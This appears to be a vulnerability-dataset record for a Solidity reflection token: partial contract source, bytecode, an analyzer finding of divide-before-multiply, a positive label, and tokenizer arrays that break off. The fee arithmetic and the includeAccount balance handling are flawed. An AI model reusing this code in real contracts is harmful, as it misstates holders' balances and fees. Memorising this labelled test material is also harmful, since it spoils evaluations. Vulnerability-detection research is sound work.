(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a16565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610aef565b6040518082815260200191505060405180910390f35b61035b610b73565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8a565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3d565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cff565b6040518082815260200191505060405180910390f35b610486610dea565b005b610490610f70565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f99565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103b565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611108565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611126565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117c565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611203565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061151d565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611728565b005b60006107af611ab2565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613301602c913960400191505060405180910390fd5b600061085f83611aba565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b1290919063ffffffff16565b60068190555061092a83600754611b5c90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611ab2565b8484611be4565b6001905092915050565b6000600754905090565b60006e01ed09bead87c0378d8e6400000000905090565b6000610a23848484611ddb565b610ae484610a2f611ab2565b610adf8560405180606001604052806028815260200161326760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a95611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611be4565b600190509392505050565b6000600654821115610b4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131d4602a913960400191505060405180910390fd5b6000610b566122f4565b9050610b6b818461231f90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c33610b97611ab2565b84610c2e8560036000610ba8611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b611be4565b6001905092915050565b60006e01ed09bead87c0378d8e6400000000831115610cc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce3576000610cd484611aba565b50505050905080915050610cf9565b6000610cee84611aba565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d9a57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610de5565b610de2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aef565b90505b919050565b610df2611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110315780601f1061100657610100808354040283529160200191611031565b820191906000526020600020905b81548152906001019060200180831161101457829003601f168201915b5050505050905090565b60006110fe611048611ab2565b846110f98560405180606001604052806025815260200161332d6025913960036000611072611ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611be4565b6001905092915050565b600061111c611115611ab2565b8484611ddb565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61120b611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561138b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561145f5761141b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aef565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611525611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561166b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131fe6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611730611ab2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aae578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118e357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa15760056001600580549050038154811061193f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aae565b80806001019150506118b2565b5050565b600033905090565b6000806000806000806000611ace88612369565b915091506000611adc6122f4565b90506000806000611aee8c86866123bb565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b600080828401905083811015611bda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132dd6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cf0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132246022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132b86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ee7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131b16023913960400191505060405180910390fd5b60008111611f40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061328f6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fe35750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff857611ff3838383612419565b61222f565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561209b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120b0576120ab83838361266c565b61222e565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121545750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612169576121648383836128bf565b61222d565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561220b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122205761221b838383612a7d565b61222c565b61222b8383836128bf565b5b5b5b5b505050565b60008383111582906122e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122a657808201518184015260208101905061228b565b50505050905090810190601f1680156122d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000612301612d65565b91509150612318818361231f90919063ffffffff16565b9250505090565b600061236183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061302a565b905092915050565b6000806000612395600261238760648761231f90919063ffffffff16565b6130f090919063ffffffff16565b905060006123ac8286611b1290919063ffffffff16565b90508082935093505050915091565b6000806000806123d485886130f090919063ffffffff16565b905060006123eb86886130f090919063ffffffff16565b905060006124028284611b1290919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061242a86611aba565b9450945094509450945061248686600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251b85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125fd8382613176565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267d86611aba565b945094509450945094506126d985600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276e82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280384600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128508382613176565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128d086611aba565b9450945094509450945061292c85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c184600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a0e8382613176565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8e86611aba565b94509450945094509450612aea86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c1482600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ca984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cf68382613176565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006e01ed09bead87c0378d8e6400000000905060005b600580549050811015612fd357826001600060058481548110612da557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e8c5750816002600060058481548110612e2457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612eb0576006546e01ed09bead87c0378d8e640000000094509450505050613026565b612f396001600060058481548110612ec457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b1290919063ffffffff16565b9250612fc46002600060058481548110612f4f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b1290919063ffffffff16565b91508080600101915050612d86565b50612ff86e01ed09bead87c0378d8e640000000060065461231f90919063ffffffff16565b82101561301d576006546e01ed09bead87c0378d8e6400000000935093505050613026565b81819350935050505b9091565b600080831182906130d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561309b578082015181840152602081019050613080565b50505050905090810190601f1680156130c85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130e257fe5b049050809150509392505050565b6000808314156131035760009050613170565b600082840290508284828161311457fe5b041461316b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132466021913960400191505060405180910390fd5b809150505b92915050565b61318b82600654611b1290919063ffffffff16565b6006819055506131a681600754611b5c90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122064061a36b11690249faab46ad8d39769121743cbe787aced737cf693d355a07264736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
4246,
18939,
22275,
21926,
2683,
2278,
26976,
2094,
2683,
4402,
2549,
6305,
2487,
2546,
2581,
2509,
2497,
12521,
27531,
2692,
7959,
22275,
10354,
2094,
2549,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
